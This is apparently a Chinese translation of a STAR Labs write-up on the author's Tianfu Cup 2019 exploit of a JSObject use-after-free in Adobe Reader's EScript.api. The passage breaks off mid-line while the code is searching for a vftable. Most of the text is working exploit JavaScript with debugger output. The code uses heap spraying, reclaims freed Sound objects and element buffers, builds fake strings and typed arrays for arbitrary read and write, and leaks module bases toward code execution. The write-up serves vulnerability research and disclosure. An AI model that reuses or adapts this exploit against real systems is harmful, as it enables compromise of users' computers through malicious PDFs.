天府杯2019:Adobe Reader漏洞利用 | STAR Labs
发布日期:2020年4月10日 · 阅读时长:10分钟 · 作者:Phan Thanh Duy (@PTDuy)
目录
去年,我参加了在中国成都举办的天府杯比赛,目标应用是Adobe Reader。本文将详细讲解一个JSObject的释放后重用(Use-After-Free)漏洞。我的漏洞利用代码并不简洁,也非最优解,而是通过大量试错完成的。其中包含许多堆布局代码,我已无法准确回忆其具体作用。强烈建议读者自行阅读完整利用代码并在必要时进行调试。本文基于Windows 10系统上的Adobe Reader撰写。
漏洞分析
漏洞位于EScript.api组件中,该组件是各种JS API调用的绑定层。
首先,我创建了一个Sound对象数组:
1
2
3
4
5
6
|
SOUND_SZ = 512
SOUNDS = Array(SOUND_SZ)
for(var i=0; i<512; i++) {
SOUNDS[i] = this.getSound(i)
SOUNDS[i].toString()
}
|
以下是Sound对象在内存中的布局。第二个双字是指向JSObject的指针,该对象包含元素、槽位、形状、字段等。第四个双字是表示对象类型的字符串。我不确定Adobe Reader使用的是哪个版本的Spidermonkey。起初我以为这是一个NativeObject,但其字段似乎与Spidermonkey的源代码不匹配。如果您了解此结构或有疑问,请通过Twitter联系我。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
0:000> dd @eax
088445d8 08479bb0 0c8299e8 00000000 085d41f0
088445e8 0e262b80 0e262f38 00000000 00000000
088445f8 0e2630d0 00000000 00000000 00000000
08844608 00000000 5b8c4400 6d6f4400 00000000
08844618 00000000 00000000
0:000> !heap -p -a @eax
address 088445d8 found in
_HEAP @ 4f60000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
088445d0 000a 0000 [00] 088445d8 00048 - (busy)
0:000> da 085d41f0
085d41f0 "Sound"
|
这个0x48字节的内存区域及其字段将被释放并重用。由于AdobeReader.exe是32位二进制文件,我可以进行堆喷射并精确知道受控数据在内存中的位置,然后尝试用我的数据覆盖整个内存区域并控制PC。但我失败了,因为:
- 我不清楚所有这些字段的含义。
- 我没有内存泄漏。
- Adobe启用了CFI。
因此,我将注意力转向了JSObject(第二个双字)。能够伪造JSObject是一个非常强大的原语。不幸的是,第二个双字不在堆上。它位于Adobe Reader启动时通过VirtualAlloc分配的内存区域中。需要注意的重要一点是,内存内容在释放后不会被清除。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
0:000> !address 0c8299e8
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: <unknown>
Base Address: 0c800000
End Address: 0c900000
Region Size: 00100000 ( 1.000 MB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 0c800000
Allocation Protect: 00000004 PAGE_READWRITE
Content source: 1 (target), length: d6618
|
我意识到ESObjectCreateArrayFromESVals和ESObjectCreate也会分配到此区域。我使用currentValueIndices函数调用ESObjectCreateArrayFromESVals:
1
2
3
4
5
6
7
8
9
|
/* 准备数组元素缓冲区 */
f = this.addField("f" , "listbox", 0, [0,0,0,0]);
t = Array(32)
for(var i=0; i<32; i++) t[i] = i
f.multipleSelection = 1
f.setItems(t)
f.currentValueIndices = t
// 每次访问currentValueIndices时,都会调用`ESObjectCreateArrayFromESVals`创建新数组。
for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices
|
查看ESObjectCreateArrayFromESVals的返回值,可以看到我们的JSObject 0d2ad1f0不在堆上,但其元素缓冲区08c621e8在堆上。ffffff81是数字的标签,就像ffffff85用于字符串,ffffff87用于对象一样。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
0:000> dd @eax
0da91b00 088dfd50 0d2ad1f0 00000001 00000000
0da91b10 00000000 00000000 00000000 00000000
0da91b20 00000000 00000000 00000000 00000000
0da91b30 00000000 00000000 00000000 00000000
0da91b40 00000000 00000000 5b9868c6 88018800
0da91b50 0dbd61d8 537d56f8 00000014 0dbeb41c
0da91b60 0dbd61d8 00000030 089dfbdc 00000001
0da91b70 00000000 00000003 00000000 00000003
0:000> !heap -p -a 0da91b00
address 0da91b00 found in
_HEAP @ 5570000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0da91af8 000a 0000 [00] 0da91b00 00048 - (busy)
0:000> dd 0d2ad1f0
0d2ad1f0 0d2883e8 0d225ac0 00000000 08c621e8
0d2ad200 0da91b00 00000000 00000000 00000000
0d2ad210 00000000 00000020 0d227130 0d2250c0
0d2ad220 00000000 553124f8 0da8dfa0 00000000
0d2ad230 00c10003 0d27d180 0d237258 00000000
0d2ad240 0d227130 0d2250c0 00000000 553124f8
0d2ad250 0da8dcd0 00000000 00c10001 0d27d200
0d2ad260 0d237258 00000000 0d227130 0d2250c0
0:000> dd 08c621e8
08c621e8 00000000 ffffff81 00000001 ffffff81
08c621f8 00000002 ffffff81 00000003 ffffff81
08c62208 00000004 ffffff81 00000005 ffffff81
08c62218 00000006 ffffff81 00000007 ffffff81
08c62228 00000008 ffffff81 00000009 ffffff81
08c62238 0000000a ffffff81 0000000b ffffff81
08c62248 0000000c ffffff81 0000000d ffffff81
08c62258 0000000e ffffff81 0000000f ffffff81
0:000> dd 08c621e8
08c621e8 00000000 ffffff81 00000001 ffffff81
08c621f8 00000002 ffffff81 00000003 ffffff81
08c62208 00000004 ffffff81 00000005 ffffff81
08c62218 00000006 ffffff81 00000007 ffffff81
08c62228 00000008 ffffff81 00000009 ffffff81
08c62238 0000000a ffffff81 0000000b ffffff81
08c62248 0000000c ffffff81 0000000d ffffff81
08c62258 0000000e ffffff81 0000000f ffffff81
0:000> !heap -p -a 08c621e8
address 08c621e8 found in
_HEAP @ 5570000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
08c621d0 0023 0000 [00] 08c621d8 00110 - (busy)
|
现在的目标是覆盖此元素缓冲区以注入伪造的Javascript对象。此时我的计划是:
- 释放Sound对象。
- 使用currentValueIndices尝试将密集数组分配到已释放的Sound对象位置。
- 释放密集数组。
- 尝试分配到已释放的元素缓冲区。
- 注入伪造的Javascript对象。
以下代码遍历SOUNDS数组以释放其元素,并使用currentValueIndices重新分配它们:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
/* 释放并重新分配Sound对象 */
RECLAIM_SZ = 512
RECLAIMS = Array(RECLAIM_SZ)
THRESHOLD_SZ = 1024*6
NTRY = 3
NOBJ = 8 //18
for(var i=0; i<NOBJ; i++) {
SOUNDS[i] = null //释放一个Sound对象
gc()
for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices
try {
// 如果重新分配成功,`this.getSound`返回一个数组,其第一个元素应为0
if (this.getSound(i)[0] == 0) {
RECLAIMS[i] = this.getSound(i)
} else {
console.println('重新分配SOUND对象失败: '+i)
throw ''
}
}
catch (err) {
console.println('重新分配SOUND对象失败: '+i)
throw ''
}
gc()
}
console.println('重新分配SOUND对象成功')
|
接下来,我们将释放所有密集数组,并尝试使用TypedArray重新分配到其元素缓冲区。我在数组开头放置了伪造的整数0x33441122,以检查重新分配是否成功。然后将受控元素缓冲区的损坏数组放入变量T中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
/* 释放所有分配的数组对象 */
this.removeField("f")
RECLAIMS = null
f = null
FENCES = null //释放fence
gc()
for (var j=0; j<8; j++) SOUNDS[j] = this.getSound(j)
/* 重新分配已释放的元素缓冲区 */
for(var i=0; i<FREE_110_SZ; i++) {
FREES_110[i] = new Uint32Array(64)
FREES_110[i][0] = 0x33441122
FREES_110[i][1] = 0xffffff81
}
T = null
for(var j=0; j<8; j++) {
try {
// 如果重新分配成功,第一个元素将是我们注入的数字
if (SOUNDS[j][0] == 0x33441122) {
T = SOUNDS[j]
break
}
} catch (err) {}
}
if (T==null) {
console.println('重新分配元素缓冲区失败')
throw ''
} else console.println('重新分配元素缓冲区成功')
|
从此点开始,我们可以将伪造的Javascript对象放入元素缓冲区,并泄漏分配给它的对象的地址。以下代码用于找出哪个TypedArray是我们的伪造元素缓冲区,并泄漏其地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
/* 创建并泄漏数组缓冲区的地址 */
WRITE_ARRAY = new Uint32Array(8)
T[0] = WRITE_ARRAY
T[1] = 0x11556611
for(var i=0; i<FREE_110_SZ; i++) {
if (FREES_110[i][0] != 0x33441122) {
FAKE_ELES = FREES_110[i]
WRITE_ARRAY_ADDR = FREES_110[i][0]
console.println('WRITE_ARRAY_ADDR: ' + WRITE_ARRAY_ADDR.toString(16))
assert(WRITE_ARRAY_ADDR>0)
break
} else {
FREES_110[i] = null
}
}
|
任意读写原语构建
为了实现任意读取原语,我在堆中喷洒大量伪造的字符串对象,然后将其分配到元素缓冲区中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
GUESS = 0x20000058 //0x20d00058
/* 喷洒伪造字符串 */
for(var i=0x1100; i<0x1400; i++) {
var dv = new DataView(SPRAY[i])
dv.setUint32(0, 0x102, true) //字符串头
dv.setUint32(4, GUESS+12, true) //字符串缓冲区,指向此处以泄漏回索引0x20000064
dv.setUint32(8, 0x1f, true) //字符串长度
dv.setUint32(12, i, true) //SPRAY的索引,位于0x20000058
delete dv
}
gc()
//app.alert("创建伪造字符串完成")
/* 将我们的一个元素指向伪造字符串 */
FAKE_ELES[4] = GUESS
FAKE_ELES[5] = 0xffffff85
/* 创建aar原语 */
SPRAY_IDX = s2h(T[2])
console.println('SPRAY_IDX: ' + SPRAY_IDX.toString(16))
assert(SPRAY_IDX>=0)
DV = DataView(SPRAY[SPRAY_IDX])
function myread(addr) {
// 将伪造字符串对象的缓冲区更改为我们要读取的地址。
DV.setUint32(4, addr, true)
return s2h(T[2])
}
|
类似地,为了实现任意写入,我创建了一个伪造的TypedArray。我简单地复制WRITE_ARRAY的内容并更改其SharedArrayRawBuffer指针。
1
2
3
4
5
6
7
8
9
|
/* 创建aaw原语 */
for(var i=0; i<32; i++) {DV.setUint32(i*4+16, myread(WRITE_ARRAY_ADDR+i*4), true)} //复制WRITE_ARRAY
FAKE_ELES[6] = GUESS+0x10
FAKE_ELES[7] = 0xffffff87
function mywrite(addr, val) {
DV.setUint32(96, addr, true)
T[3][0] = val
}
//mywrite(0x200000C8, 0x1337)
|
获取代码执行
通过任意读写原语,我可以在TypedArray对象的头部泄漏EScript.API的基地址。在EScript.API内部,有一个非常方便的gadget可以调用VirtualAlloc。
1
2
3
4
|
//d8c5e69b5ff1cea53d5df4de62588065 - EScript.API的md5sum
ESCRIPT_BASE = myread(WRITE_ARRAY_ADDR+12) - 0x02784D0 //data:002784D0 qword_2784D0 dq ?
console.println('ESCRIPT_BASE: '+ ESCRIPT_BASE.toString(16))
assert(ESCRIPT_BASE>0)
|
接下来,我泄漏AcroForm.API的基地址和一个CTextField(大小为0x60)对象的地址。首先使用addField分配一堆CTextField对象,然后创建一个同样大小为0x60的字符串对象,并泄漏此字符串的地址(MARK_ADDR)。我们可以安全地假设这些CTextField对象将位于MARK_ADDR之后。最后,我遍历堆以查找CTextField::vftable。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
/* 泄漏 .rdata:007A55BC ; const CTextField::`vftable' */
//f9c59c6cf718d1458b4af7bbada75243
for(var i=0; i<32; i++) this.addField(i, "text", 0, [0,0,0,0]);
T[4] = STR_60.toLowerCase()
for(var i=32; i<64; i++) this.addField(i, "text", 0, [0,0,0,0]);
MARK_ADDR = myread(FAKE_ELES[8]+4)
console.println('MARK_ADDR: '+ MARK_ADDR.toString(16))
assert(MARK_ADDR>0)
vftable = 0
while (1) {
MARK_ADDR += 4
vftable = myread(MARK_ADDR)
if ( ((vftable&0xFFFF)==0x55BC) && (((myread(MARK_ADDR+8)&0xff00ffff)>>>0)==0xc0000000)) break
}
console.println('MARK_ADDR
|